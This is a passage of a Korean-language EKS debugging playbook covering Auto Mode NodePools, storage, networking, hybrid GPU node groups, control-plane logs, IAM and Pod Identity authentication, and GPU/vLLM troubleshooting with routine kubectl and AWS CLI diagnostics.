# Pod 이벤트 확인
kubectl describe pod
# 에러 예시:
# Warning FailedScheduling No nodes available to schedule pod
# NodePool 제약 확인
kubectl get nodepool -o yaml | grep -A 10 requirements
# 일반적인 원인:
# 1. Pod 리소스 요청이 NodePool의 모든 인스턴스 타입을 초과
# 2. 가용 영역 제약 (특정 AZ에만 용량 부족)
# 3. Spot 용량 부족 (capacityType: spot)
```
**해결 방법:**
```yaml
# NodePool 수정: 더 큰 인스턴스 타입 추가
apiVersion: eks.amazonaws.com/v1
kind: NodePool
metadata:
name: default
spec:
template:
spec:
requirements:
- key: node.kubernetes.io/instance-type
operator: In
values:
- t3.large
- t3.xlarge
- t3.2xlarge # ← 추가
- key: karpenter.sh/capacity-type
operator: In
values:
- spot
- on-demand # ← Spot 부족 시 On-Demand 폴백
```
## 스토리지 디버깅
### Auto Mode 스토리지 제약
| 스토리지 타입 | Standard Mode | Auto Mode | 제약 사항 |
|--------------|---------------|-----------|----------|
| **gp3** | EBS CSI 설치 필요 | 내장 지원 | 기본 제공, 별도 설정 불필요 |
| **gp2** | 지원 | 미지원 | gp3로 마이그레이션 필요 |
| **io2** | 지원 | 제한적 지원 | io2 Block Express 미지원 |
| **EFS** | EFS CSI 설치 | EFS CSI 설치 필요 | 자동 지원 안 됨 |
| **FSx for Lustre** | FSx CSI 설치 | FSx CSI 설치 필요 | 자동 지원 안 됨 |
| **EBS 암호화** | KMS 키 지정 가능 | 기본 EBS 암호화 | 커스텀 KMS 키 제약 |
### PVC Pending 디버깅
```bash
# PVC 상태 확인
kubectl get pvc
# 출력 예시 (문제 발생)
# NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE
# my-pvc Pending gp3 5m
# PVC 이벤트 확인
kubectl describe pvc my-pvc
# 일반적인 에러:
# 1. "waiting for a volume to be created" → 스토리지 드라이버 확인
# 2. "failed to provision volume" → IAM 권한 확인
# 3. "io2-block-express is not supported" → gp3로 변경
```
### StorageClass 확인
```bash
# StorageClass 목록
kubectl get storageclass
# Auto Mode 기본 StorageClass
# NAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE
# gp3 (default) ebs.csi.aws.com Delete WaitForFirstConsumer true 7d
# io2 Block Express는 미지원 (Auto Mode 제약)
```
## 네트워킹 디버깅
### VPC CNI 자동 관리
Auto Mode에서는 VPC CNI를 직접 설정할 수 없습니다:
```bash
# VPC CNI 버전 확인 (자동 관리됨)
kubectl get daemonset -n kube-system aws-node -o yaml | grep image:
# Custom CNI 설정 시도 시 에러 발생
# Auto Mode는 VPC CNI ConfigMap 수정을 차단
kubectl edit configmap -n kube-system aws-node
# Error: Auto Mode managed resource cannot be modified
```
**제약 사항:**
- ✅ 지원: ENI 자동 할당, Security Group for Pods, IPv6
- ❌ 미지원: Custom CIDR 블록, Prefix Delegation 비활성화, ENI 수동 관리
### Pod 네트워크 문제
```bash
# Pod IP 할당 확인
kubectl get pods -o wide
# ENI 할당 상태 확인 (노드 레벨)
kubectl describe node | grep -A 5 "Allocatable"
# 출력 예시:
# Allocatable:
# vpc.amazonaws.com/pod-eni: 38 # ← ENI 기반 IP 수
# Security Group for Pods 확인
kubectl get securitygrouppolicies -A
```
### CoreDNS 디버깅
```bash
# CoreDNS Pod 상태
kubectl get pods -n kube-system -l k8s-app=kube-dns
# CoreDNS 로그 확인
kubectl logs -n kube-system -l k8s-app=kube-dns --tail=100
# DNS 해석 테스트
kubectl run -it --rm debug --image=busybox -- nslookup kubernetes.default
# 일반적인 문제:
# 1. CoreDNS Pod가 Running이 아님 → 노드 리소스 부족
# 2. DNS 쿼리 타임아웃 → Security Group에서 UDP 53 허용 확인
```
## GPU 워크로드와 Auto Mode
:::danger GPU Operator 충돌
Auto Mode는 GPU Driver를 자동 관리합니다. GPU Operator를 설치하면 **Device Plugin 충돌**이 발생합니다.
:::
### 하이브리드 구성 (권장)
Auto Mode에서 GPU 워크로드를 실행하려면 **MNG를 추가**하여 하이브리드로 구성합니다:
```mermaid
flowchart TB
subgraph "EKS Cluster (Hybrid)"
subgraph "Auto Mode NodePool"
A[일반 워크로드]
B[웹 서버]
C[배치 작업]
end
subgraph "Managed Node Group (GPU)"
D[GPU Operator
devicePlugin=false]
E[vLLM Pod]
F[학습 Job]
end
end
G[Scheduler] --> A
G --> B
G --> C
G -.Taint: nvidia.com/gpu.-> E
G -.Taint: nvidia.com/gpu.-> F
```
### GPU MNG 설정
```yaml
# ClusterPolicy: Device Plugin 비활성화 필수
apiVersion: nvidia.com/v1
kind: ClusterPolicy
metadata:
name: gpu-cluster-policy
spec:
operator:
defaultRuntime: containerd
driver:
enabled: true
devicePlugin:
enabled: false # ← Auto Mode와의 충돌 방지
dcgm:
enabled: true # 메트릭 수집은 가능
gfd:
enabled: true # GPU Feature Discovery 가능
nodeStatusExporter:
enabled: true
```
```yaml
# MNG 노드에 Taint 추가 (GPU 워크로드 전용)
apiVersion: v1
kind: Node
metadata:
name: gpu-node-1
spec:
taints:
- key: nvidia.com/gpu
value: "true"
effect: NoSchedule
```
```yaml
# GPU Pod는 Toleration 추가
apiVersion: v1
kind: Pod
metadata:
name: vllm-server
spec:
tolerations:
- key: nvidia.com/gpu
operator: Equal
value: "true"
effect: NoSchedule
containers:
- name: vllm
image: vllm/vllm-openai:latest
resources:
limits:
nvidia.com/gpu: 4
```
자세한 GPU 디버깅은 [GPU/AI 워크로드 디버깅](./gpu-ai-workload.md)을 참조하세요.
## Auto Mode 제약 요약
### 지원되는 기능
- ✅ NodePool 기반 오토스케일링
- ✅ Spot/On-Demand 자동 폴백
- ✅ gp3 스토리지 기본 지원
- ✅ VPC CNI 자동 관리 (Security Group for Pods 포함)
- ✅ Karpenter와 유사한 Consolidation
- ✅ Drift 감지 및 자동 교체
- ✅ DCGM/GFD 메트릭 (GPU Operator 부분 지원)
### 제약 사항
- ❌ Custom VPC CNI 설정 불가
- ❌ GPU Device Plugin 충돌 (MNG 하이브리드 필요)
- ❌ io2 Block Express 미지원
- ❌ EFS/FSx CSI는 별도 설치 필요
- ❌ Custom CoreDNS 설정 제한
- ❌ 노드 SSH 접근 제한 (SSM 사용)
- ❌ EC2 인스턴스 직접 관리 불가
## 하이브리드 구성 (Auto Mode + MNG)
### 언제 하이브리드가 필요한가?
| 시나리오 | Auto Mode 단독 | 하이브리드 (Auto Mode + MNG) |
|---------|---------------|----------------------------|
| 일반 웹/API 서버 | ✅ 충분 | 불필요 |
| GPU 추론/학습 | ❌ 제약 많음 | ✅ **필수** (GPU Operator) |
| 고성능 스토리지 (io2 BE) | ❌ 미지원 | ✅ MNG에서 가능 |
| Custom VPC CNI | ❌ 미지원 | ✅ MNG에서 가능 |
| 특정 AMI 사용 | ❌ 제한적 | ✅ MNG Launch Template |
### 하이브리드 구성 예시
```bash
# 1. Auto Mode 클러스터 생성
aws eks create-cluster \
--name hybrid-cluster \
--compute-config enabled=true
# 2. GPU MNG 추가
aws eks create-nodegroup \
--cluster-name hybrid-cluster \
--nodegroup-name gpu-nodes \
--node-role \
--subnets \
--instance-types g5.2xlarge g5.4xlarge \
--scaling-config minSize=0,maxSize=10,desiredSize=2 \
--labels workload=gpu \
--taints nvidia.com/gpu=true:NoSchedule
# 3. GPU Operator 설치 (MNG 노드 대상)
helm install gpu-operator nvidia/gpu-operator \
--namespace gpu-operator --create-namespace \
--set operator.defaultRuntime=containerd \
--set driver.enabled=true \
--set devicePlugin.enabled=false # ← 핵심 설정
```
## 진단 명령어 모음
```bash
# === NodePool ===
# NodePool 상태
kubectl get nodepools -o wide
kubectl describe nodepool
# NodeClaim 상태
kubectl get nodeclaims -o wide
kubectl describe nodeclaim
# NodeClaim과 Node 매핑
kubectl get nodeclaims -o json | jq -r '.items[] | "\(.metadata.name) → \(.status.nodeName)"'
# === 스토리지 ===
# PVC 상태
kubectl get pvc -A
kubectl describe pvc
# StorageClass 확인
kubectl get storageclass
# EBS 볼륨 확인 (AWS CLI)
aws ec2 describe-volumes --filters "Name=tag:kubernetes.io/cluster/,Values=owned"
# === 네트워킹 ===
# VPC CNI 버전
kubectl get daemonset -n kube-system aws-node -o yaml | grep image:
# Pod IP 할당
kubectl get pods -A -o wide
# CoreDNS 상태
kubectl get pods -n kube-system -l k8s-app=kube-dns
kubectl logs -n kube-system -l k8s-app=kube-dns --tail=50
# DNS 테스트
kubectl run -it --rm debug --image=busybox -- nslookup kubernetes.default
# === GPU (하이브리드 구성) ===
# GPU Operator 상태 (MNG 노드에서만)
kubectl get clusterpolicy -A
kubectl get pods -n gpu-operator
# GPU 리소스 확인
kubectl get nodes -o json | jq -r '.items[] | select(.status.allocatable."nvidia.com/gpu" != null) | "\(.metadata.name): \(.status.allocatable."nvidia.com/gpu") GPUs"'
# === 노드 디버깅 ===
# 노드에 대화형 디버그 Pod 실행
kubectl debug node/ -it --image=ubuntu
# Systems Manager로 노드 접속 (SSH 대신)
aws ssm start-session --target
```
## 문제별 체크리스트
### Pod가 Pending 상태 (NodeClaim 생성 안 됨)
- [ ] NodePool의 인스턴스 타입이 Pod 리소스 요청을 만족하는가?
- [ ] NodePool의 가용 영역 제약이 있는가?
- [ ] Spot 용량 부족? (On-Demand 폴백 추가)
- [ ] NodePool 레이블/테인트가 Pod과 매칭되는가?
### PVC가 Pending 상태
- [ ] StorageClass가 gp3인가? (io2 Block Express는 미지원)
- [ ] PVC 용량이 허용 범위 내인가?
- [ ] IAM 권한이 올바른가? (EBS 생성 권한)
- [ ] 가용 영역에 EBS 용량이 충분한가?
### GPU 워크로드 스케줄링 실패
- [ ] MNG가 추가되었는가? (Auto Mode 단독은 GPU 제약)
- [ ] GPU Operator에서 `devicePlugin: false` 설정했는가?
- [ ] MNG 노드에 Taint가 있고, Pod에 Toleration이 있는가?
- [ ] Pod의 `nvidia.com/gpu` 리소스 요청이 올바른가?
### VPC CNI 설정 불가
- [ ] Auto Mode는 VPC CNI를 자동 관리합니다 (Custom 설정 불가)
- [ ] 특정 CNI 설정이 필요하면 MNG 추가 필요
- [ ] Security Group for Pods는 지원됨
## 참고 자료
- [GPU/AI 워크로드 디버깅](./gpu-ai-workload.md) - GPU Operator와 Auto Mode 통합
- [Karpenter 디버깅](./karpenter.md) - NodePool과 유사한 개념
- [노드 디버깅](./node.md) - 노드 수준 진단
- [AWS EKS Auto Mode 공식 문서](https://docs.aws.amazon.com/eks/latest/userguide/automode.html)
---
# 컨트롤 플레인 디버깅
> EKS 컨트롤 플레인 문제 진단 및 해결 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/control-plane
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, control-plane, debugging, troubleshooting
import { ControlPlaneLogTable, ClusterHealthTable } from '@site/src/components/EksDebugTables';
## 컨트롤 플레인 로그 타입
EKS 컨트롤 플레인은 5가지 로그 타입을 CloudWatch Logs에 전송할 수 있습니다.
## 로그 활성화
```bash
# 모든 컨트롤 플레인 로그 활성화
aws eks update-cluster-config \
--region \
--name \
--logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'
```
:::tip 비용 최적화
모든 로그 타입을 활성화하면 CloudWatch Logs 비용이 증가합니다. 프로덕션에서는 `audit`과 `authenticator`를 필수로 활성화하고, 디버깅이 필요할 때 나머지를 추가 활성화하는 전략을 권장합니다.
:::
## CloudWatch Logs Insights 쿼리
### API 서버 에러 (400+) 분석
```sql
fields @timestamp, @message
| filter @logStream like /kube-apiserver-audit/
| filter responseStatus.code >= 400
| stats count() by responseStatus.code
| sort count desc
```
### 인증 실패 추적
```sql
fields @timestamp, @message
| filter @logStream like /authenticator/
| filter @message like /error/ or @message like /denied/
| sort @timestamp desc
```
### aws-auth ConfigMap 변경 감지
```sql
fields @timestamp, @message
| filter @logStream like /kube-apiserver-audit/
| filter objectRef.resource = "configmaps" and objectRef.name = "aws-auth"
| filter verb in ["update", "patch", "delete"]
| sort @timestamp desc
```
### API Throttling 탐지
```sql
fields @timestamp, @message
| filter @logStream like /kube-apiserver/
| filter @message like /throttle/ or @message like /rate limit/
| stats count() by bin(5m)
```
### 비인가 접근 시도 (보안 이벤트)
```sql
fields @timestamp, @message
| filter @logStream like /kube-apiserver-audit/
| filter responseStatus.code = 403
| stats count() by user.username
| sort count desc
```
## 인증/인가 디버깅
### IAM 인증 확인
```bash
# 현재 IAM 자격증명 확인
aws sts get-caller-identity
# 클러스터 인증 모드 확인
aws eks describe-cluster --name \
--query 'cluster.accessConfig.authenticationMode' --output text
```
### aws-auth ConfigMap (CONFIG_MAP 모드)
```bash
# aws-auth ConfigMap 확인
kubectl describe configmap aws-auth -n kube-system
```
### EKS Access Entries (API / API_AND_CONFIG_MAP 모드)
```bash
# Access Entry 생성
aws eks create-access-entry \
--cluster-name \
--principal-arn arn:aws:iam::ACCOUNT:role/ROLE-NAME \
--type STANDARD
# Access Entry 목록 확인
aws eks list-access-entries --cluster-name
```
### IRSA (IAM Roles for Service Accounts) 디버깅 체크리스트
```bash
# 1. ServiceAccount에 annotation 확인
kubectl get sa -n -o yaml
# 2. Pod 내 AWS 환경변수 확인
kubectl exec -it -- env | grep AWS
# 3. OIDC Provider 확인
aws eks describe-cluster --name \
--query 'cluster.identity.oidc.issuer' --output text
# 4. IAM Role의 Trust Policy에서 OIDC Provider ARN 및 조건 확인
aws iam get-role --role-name \
--query 'Role.AssumeRolePolicyDocument'
```
:::warning IRSA 일반적인 실수
- ServiceAccount annotation의 role ARN 오타
- IAM Role Trust Policy에서 namespace/sa 이름 불일치
- OIDC Provider가 클러스터와 연결되지 않음
- Pod가 ServiceAccount를 사용하도록 `spec.serviceAccountName` 미지정
:::
## 서비스 어카운트 토큰 만료 (HTTP 401 Unauthorized)
Kubernetes 1.21+에서 서비스 어카운트 토큰은 **기본 1시간 유효**하며, kubelet에 의해 자동 갱신됩니다. 그러나 레거시 SDK를 사용하는 경우 토큰 갱신 로직이 없어 장기 실행 워크로드에서 `401 Unauthorized` 에러가 발생할 수 있습니다.
**증상:**
- Pod이 일정 시간(보통 1시간) 후 갑자기 `HTTP 401 Unauthorized` 에러를 반환
- 재시작 후 일시적으로 정상 동작하다가 다시 401 발생
**원인:**
- 프로젝티드 서비스 어카운트 토큰(Projected Service Account Token)은 기본 1시간 만료
- kubelet이 토큰을 자동 갱신하지만, 애플리케이션이 파일에서 토큰을 한 번만 읽고 캐싱하면 만료된 토큰을 계속 사용
**필요한 최소 SDK 버전:**
| 언어 | SDK | 최소 버전 |
|------|-----|----------|
| Go | client-go | v0.15.7+ |
| Python | kubernetes | 12.0.0+ |
| Java | fabric8 | 5.0.0+ |
:::tip 토큰 갱신 확인
SDK가 토큰 자동 갱신을 지원하는지 확인하세요. 지원하지 않는 경우 애플리케이션에서 주기적으로 `/var/run/secrets/kubernetes.io/serviceaccount/token` 파일을 다시 읽도록 구현해야 합니다.
:::
## EKS Pod Identity 디버깅
EKS Pod Identity는 IRSA의 대안으로, 보다 간단한 설정으로 Pod에 AWS IAM 권한을 부여합니다.
```bash
# Pod Identity Association 확인
aws eks list-pod-identity-associations --cluster-name $CLUSTER
aws eks describe-pod-identity-association --cluster-name $CLUSTER \
--association-id $ASSOC_ID
# Pod Identity Agent 상태 확인
kubectl get pods -n kube-system -l app.kubernetes.io/name=eks-pod-identity-agent
kubectl logs -n kube-system -l app.kubernetes.io/name=eks-pod-identity-agent --tail=50
```
**Pod Identity 디버깅 체크리스트:**
- eks-pod-identity-agent Add-on이 설치되어 있는지
- Pod의 ServiceAccount에 올바른 association이 연결되어 있는지
- IAM Role trust policy에 `pods.eks.amazonaws.com` 서비스 프린시펄이 있는지
:::info Pod Identity vs IRSA
Pod Identity는 IRSA보다 설정이 간단하며, cross-account 접근이 더 용이합니다. 신규 워크로드에서는 Pod Identity 사용을 권장합니다.
:::
## EKS Add-on 트러블슈팅
```bash
# Add-on 목록 확인
aws eks list-addons --cluster-name
# Add-on 상태 상세 확인
aws eks describe-addon --cluster-name --addon-name
# Add-on 업데이트 (충돌 해결: PRESERVE로 기존 설정 유지)
aws eks update-addon --cluster-name --addon-name \
--addon-version --resolve-conflicts PRESERVE
```
| Add-on | 일반적인 에러 패턴 | 진단 방법 | 해결 방법 |
|--------|-------------------|----------|----------|
| **CoreDNS** | Pod CrashLoopBackOff, DNS 타임아웃 | `kubectl logs -n kube-system -l k8s-app=kube-dns` | ConfigMap 점검, `kubectl rollout restart deployment coredns -n kube-system` |
| **kube-proxy** | Service 통신 불가, iptables 에러 | `kubectl logs -n kube-system -l k8s-app=kube-proxy` | DaemonSet 이미지 버전 확인, `kubectl rollout restart daemonset kube-proxy -n kube-system` |
| **VPC CNI** | Pod IP 할당 실패, ENI 에러 | `kubectl logs -n kube-system -l k8s-app=aws-node` | IPAMD 로그 확인, ENI/IP 한도 점검 ([네트워킹 문서](./networking.md) 참조) |
| **EBS CSI** | PVC Pending, 볼륨 attach 실패 | `kubectl logs -n kube-system -l app.kubernetes.io/name=aws-ebs-csi-driver` | IRSA 권한, AZ 매칭 확인 ([스토리지 문서](./storage.md) 참조) |
## 클러스터 헬스 이슈 코드
EKS 클러스터 자체의 인프라 수준 문제를 진단할 때는 클러스터 헬스 상태를 확인합니다.
```bash
# 클러스터 헬스 이슈 확인
aws eks describe-cluster --name $CLUSTER \
--query 'cluster.health' --output json
```
:::danger 복구 불가 이슈
`VPC_NOT_FOUND`와 `KMS_KEY_NOT_FOUND`는 복구가 불가능합니다. 클러스터를 새로 생성해야 합니다.
:::
## RBAC / Pod Identity 디버깅
### ServiceAccount → IAM Role 매핑 실패
**증상:**
- Pod에서 AWS API 호출 시 `AccessDenied` 또는 `UnauthorizedOperation` 에러 발생
- IRSA 또는 Pod Identity를 사용했지만 권한이 적용되지 않음
**진단:**
```bash
# 1. ServiceAccount annotation 확인 (IRSA)
kubectl get sa -n -o jsonpath='{.metadata.annotations.eks\.amazonaws\.com/role-arn}'
# 2. Pod Identity Association 확인
aws eks list-pod-identity-associations --cluster-name $CLUSTER \
| jq '.associations[] | select(.serviceAccount=="")'
# 3. Pod에 환경변수가 주입되었는지 확인
kubectl get pod -n -o jsonpath='{.spec.serviceAccountName}'
kubectl exec -n -- env | grep AWS
# 4. IAM Role Trust Policy 확인
aws iam get-role --role-name \
--query 'Role.AssumeRolePolicyDocument' --output json
```
**해결 방법:**
IRSA의 경우:
```bash
# ServiceAccount에 annotation 추가
kubectl annotate serviceaccount -n \
eks.amazonaws.com/role-arn=arn:aws:iam::ACCOUNT:role/ROLE-NAME
# Pod 재시작 필요 (annotation은 Pod 생성 시점에 적용됨)
kubectl rollout restart deployment/ -n
```
Pod Identity의 경우:
```bash
# Pod Identity Association 생성
aws eks create-pod-identity-association \
--cluster-name $CLUSTER \
--namespace \
--service-account \
--role-arn arn:aws:iam::ACCOUNT:role/ROLE-NAME
```
### aws-auth ConfigMap vs EKS Access Entries 혼용 이슈
**문제:**
- EKS Access Entries API가 도입되어 aws-auth ConfigMap 대체 가능
- 두 방식을 혼용하면 인증 규칙이 예상과 다르게 동작할 수 있음
**인증 모드 확인:**
```bash
# 클러스터 인증 모드 확인
aws eks describe-cluster --name \
--query 'cluster.accessConfig.authenticationMode' --output text
```
**인증 모드 종류:**
| 모드 | 설명 | 권장 사용 사례 |
|------|------|--------------|
| `CONFIG_MAP` | aws-auth ConfigMap만 사용 (레거시) | 레거시 클러스터 |
| `API` | Access Entries API만 사용 | 신규 클러스터 권장 |
| `API_AND_CONFIG_MAP` | 두 방식 모두 허용 (기본값) | 마이그레이션 중 |
**마이그레이션 가이드:**
```bash
# 1. 현재 aws-auth ConfigMap 내용 확인
kubectl get configmap aws-auth -n kube-system -o yaml > aws-auth-backup.yaml
# 2. ConfigMap 내용을 Access Entry로 변환
aws eks create-access-entry \
--cluster-name \
--principal-arn arn:aws:iam::ACCOUNT:role/ROLE-NAME \
--type STANDARD
# 3. Kubernetes RBAC 매핑 (필요 시)
aws eks associate-access-policy \
--cluster-name \
--principal-arn arn:aws:iam::ACCOUNT:role/ROLE-NAME \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy \
--access-scope type=cluster
# 4. 검증 후 인증 모드를 API로 전환
aws eks update-cluster-config \
--name \
--access-config authenticationMode=API
```
:::warning 인증 모드 변경 시 주의사항
`CONFIG_MAP` → `API`로 전환하면 aws-auth ConfigMap이 무시됩니다. 반드시 모든 IAM Principal을 Access Entry로 마이그레이션한 후 전환하세요.
:::
### kubectl auth can-i를 활용한 권한 검증
```bash
# 현재 사용자가 특정 리소스에 대한 권한이 있는지 확인
kubectl auth can-i create deployments --namespace=production
kubectl auth can-i delete pods --namespace=kube-system
# 특정 ServiceAccount의 권한 확인
kubectl auth can-i list secrets --as=system:serviceaccount:default:my-sa
# 모든 권한 확인 (현재 사용자)
kubectl auth can-i --list
# 특정 네임스페이스에서 모든 권한 확인
kubectl auth can-i --list --namespace=production
```
### Pod Identity Association 미설정 진단
**증상:**
- Pod Identity Agent가 정상 실행 중이지만 Pod에서 AWS 권한이 없음
- Pod 환경변수에 `AWS_CONTAINER_CREDENTIALS_FULL_URI`가 없음
**진단:**
```bash
# 1. Pod Identity Agent 상태 확인
kubectl get daemonset eks-pod-identity-agent -n kube-system
kubectl get pods -n kube-system -l app.kubernetes.io/name=eks-pod-identity-agent
# 2. Association 확인
aws eks list-pod-identity-associations --cluster-name $CLUSTER
# 3. 특정 ServiceAccount에 대한 Association 확인
aws eks list-pod-identity-associations --cluster-name $CLUSTER \
| jq --arg ns "default" --arg sa "my-service-account" \
'.associations[] | select(.namespace==$ns and .serviceAccount==$sa)'
# 4. Association 세부 정보 확인
aws eks describe-pod-identity-association \
--cluster-name $CLUSTER \
--association-id
```
**해결 방법:**
```bash
# Pod Identity Association 생성
aws eks create-pod-identity-association \
--cluster-name $CLUSTER \
--namespace \
--service-account \
--role-arn arn:aws:iam::ACCOUNT:role/ROLE-NAME
# Pod 재시작 (Association은 Pod 생성 시점에 적용됨)
kubectl delete pod -n
```
## 관련 문서
- [EKS 디버깅 가이드 (메인)](./index.md) - 전체 디버깅 가이드
- [노드 디버깅](./node.md) - 노드 레벨 문제 진단
- [워크로드 디버깅](./workload.md) - Pod 및 워크로드 문제 진단
- [네트워킹 디버깅](./networking.md) - 네트워크 문제 진단
---
# GPU/AI 워크로드 디버깅
> EKS에서 GPU/AI 워크로드 디버깅 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/gpu-ai-workload
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, gpu, nvidia, vllm, nccl
EKS에서 GPU 기반 AI 워크로드를 운영할 때 발생하는 일반적인 문제와 해결 방법을 다룹니다.
## GPU 노드 진단 워크플로우
GPU 문제 발생 시 다음 순서로 진단합니다:
```mermaid
flowchart TD
A[GPU 문제 발생] --> B{nvidia-smi 실행 가능?}
B -->|아니오| C[Driver 설치 확인]
B -->|예| D{GPU 인식됨?}
C --> E[GPU Operator ClusterPolicy 상태]
D -->|아니오| E
D -->|예| F{CUDA 버전 호환?}
F -->|아니오| G[Driver/CUDA 버전 매칭]
F -->|예| H{Device Plugin 동작?}
G --> H
H -->|아니오| E
H -->|예| I{DCGM 메트릭 정상?}
E --> J[ClusterPolicy Conditions 확인]
I -->|아니오| K[DCGM Exporter 로그 확인]
I -->|예| L[워크로드 레벨 디버깅]
J --> M{Driver DaemonSet Ready?}
M -->|아니오| N[Driver Pod 로그 확인]
M -->|예| O{Device Plugin Pod Ready?}
O -->|아니오| P[Device Plugin 로그 확인]
O -->|예| Q{DCGM Exporter Ready?}
Q -->|아니오| K
Q -->|예| L
```
## GPU 노드 기본 진단
### nvidia-smi 확인
```bash
# GPU 노드에 접속하여 확인
kubectl debug node/ -it --image=nvidia/cuda:12.2.0-base-ubuntu22.04
# 컨테이너 내부에서
nvidia-smi
# 출력 예시 (정상)
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 535.104.05 Driver Version: 535.104.05 CUDA Version: 12.2 |
|-------------------------------+----------------------+----------------------+
| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC |
| Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. |
|===============================+======================+======================|
| 0 NVIDIA H100 80G... On | 00000000:10:1C.0 Off | 0 |
| N/A 32C P0 68W / 700W | 0MiB / 81559MiB | 0% Default |
+-------------------------------+----------------------+----------------------+
```
### GPU 리소스 확인
```bash
# 노드에 할당 가능한 GPU 수 확인
kubectl describe node | grep nvidia.com/gpu
# 출력 예시
# nvidia.com/gpu: 8
# nvidia.com/gpu: 8
# Pod에 할당된 GPU 확인
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[].resources.limits."nvidia.com/gpu" != null) | {name: .metadata.name, namespace: .metadata.namespace, gpu: .spec.containers[].resources.limits."nvidia.com/gpu"}'
```
## CUDA/NCCL 에러 패턴
GPU 워크로드에서 발생하는 일반적인 CUDA XID 에러와 조치 방법:
| XID | 의미 | 원인 | 조치 |
|-----|------|------|------|
| 13 | Graphics Engine Exception | 커널 실행 오류 | 드라이버 업데이트, CUDA 버전 확인 |
| 31 | GPU memory page fault | 잘못된 메모리 접근 | 드라이버 업데이트, 메모리 할당 검증 |
| 43 | GPU stopped responding | GPU 응답 없음 | 노드 재시작 필요 |
| 45 | Preemptive cleanup | 컨텍스트 전환 오류 | 드라이버 업데이트 |
| 48 | Double bit ECC error | 하드웨어 메모리 결함 | **노드 교체 필수** (영구 결함) |
| 62 | Internal micro-controller error | 펌웨어 오류 | 드라이버 재설치, 노드 재시작 |
| 74 | NVLink error | GPU 간 통신 실패 | NVLink 토폴로지 확인, 케이블 점검 |
| 79 | GPU has fallen off the bus | PCIe 통신 단절 | **노드 교체 필수** (하드웨어 결함) |
| 94 | Contained/Uncontained error | 메모리 무결성 오류 | ECC 모드 확인, 노드 교체 검토 |
### XID 에러 확인 방법
```bash
# 커널 로그에서 XID 에러 검색
kubectl debug node/ -it --image=ubuntu
# 컨테이너 내부에서
dmesg | grep -i "xid"
# 출력 예시 (문제 발생 시)
# [ 123.456789] NVRM: Xid (PCI:0000:10:1c): 79, pid=12345, GPU has fallen off the bus.
```
### NCCL 에러 디버깅
멀티 GPU 또는 멀티 노드 분산 학습 시 NCCL 타임아웃 발생:
```bash
# NCCL 디버그 로그 활성화
env:
- name: NCCL_DEBUG
value: "INFO"
- name: NCCL_DEBUG_SUBSYS
value: "ALL"
- name: NCCL_SOCKET_IFNAME
value: "eth0" # VPC CNI 기본 인터페이스
- name: NCCL_IB_DISABLE
value: "1" # InfiniBand 비활성화 (EKS에서 미사용)
```
**일반적인 NCCL 실패 원인:**
1. **네트워크 연결 문제**
- Security Group에서 모든 트래픽 허용 필요 (동일 SG 내부)
- Pod 간 통신 확인: `kubectl exec -it -- nc -zv 12345`
2. **EFA 설정 오류** (p4d, p5 인스턴스)
- EFA Device Plugin 설치 필수
- `vpc.amazonaws.com/efa` 리소스 요청 확인
3. **GPU 수와 Tensor Parallel 불일치**
- vLLM: `--tensor-parallel-size`가 Pod의 GPU 수와 일치해야 함
- PyTorch DDP: `WORLD_SIZE` 환경변수와 실제 GPU 수 일치
## vLLM 디버깅
### Out of Memory (OOM) vs KV Cache 부족
vLLM에서 메모리 부족은 두 가지 원인이 있습니다:
```python
# vLLM 시작 로그에서 확인
# GPU memory utilization: 0.90
# Total GPU memory: 80.00 GiB
# Reserved for model weights: 45.23 GiB
# Reserved for KV cache: 26.77 GiB # ← 이 값이 너무 적으면 긴 컨텍스트 처리 불가
# Reserved for activation: 8.00 GiB
```
| 증상 | 원인 | 조치 |
|------|------|------|
| 모델 로드 시 OOM | 모델이 GPU 메모리보다 큼 | 더 큰 GPU 사용, Quantization (AWQ, GPTQ) |
| 추론 중 "No available blocks" | KV Cache 공간 부족 | `gpu_memory_utilization` 증가 (0.9→0.95) |
| 짧은 요청만 성공, 긴 요청 실패 | KV Cache 부족 | `max_model_len` 감소, `max_num_batched_tokens` 감소 |
| 랜덤 OOM, 재현 어려움 | Fragmentation | 서버 재시작, `swap_space` 증가 |
### vLLM 파라미터 튜닝
```yaml
args:
- --model=/models/llama-3.1-70b
- --tensor-parallel-size=4 # GPU 수와 일치
- --gpu-memory-utilization=0.85 # 기본값 0.9, OOM 시 감소, 낭비 시 증가
- --max-model-len=8192 # 최대 컨텍스트 길이, KV Cache 크기 결정
- --max-num-batched-tokens=8192 # 배치 처리 토큰 수, 처리량/지연 균형
- --max-num-seqs=256 # 동시 처리 시퀀스 수
- --swap-space=4 # CPU 메모리 스왑 공간 (GiB)
```
**튜닝 가이드:**
1. **OOM 발생 시:**
- `gpu_memory_utilization` 0.9 → 0.85 → 0.8 단계적 감소
- `max_model_len` 감소 (16k → 8k → 4k)
- `max_num_seqs` 감소
2. **성능 최적화:**
- GPU 활용률 낮으면 `max_num_batched_tokens` 증가
- 긴 컨텍스트 필요 시 `max_model_len` 증가 (KV Cache 충분한지 확인)
3. **Tensor Parallel 설정:**
- H100 80GB × 8: `--tensor-parallel-size=8` (70B 모델)
- A100 80GB × 4: `--tensor-parallel-size=4` (70B 모델, Quantized)
- **주의:** TP 수는 모델 hidden dimension의 약수여야 최적 (2, 4, 8)
## GPU Operator 디버깅
### ClusterPolicy 상태 확인
```bash
# ClusterPolicy 상태
kubectl get clusterpolicy -A
# 상세 상태 확인
kubectl describe clusterpolicy gpu-cluster-policy
# 각 컴포넌트 상태 확인
kubectl get pods -n gpu-operator
# 출력 예시 (정상)
# NAME READY STATUS RESTARTS AGE
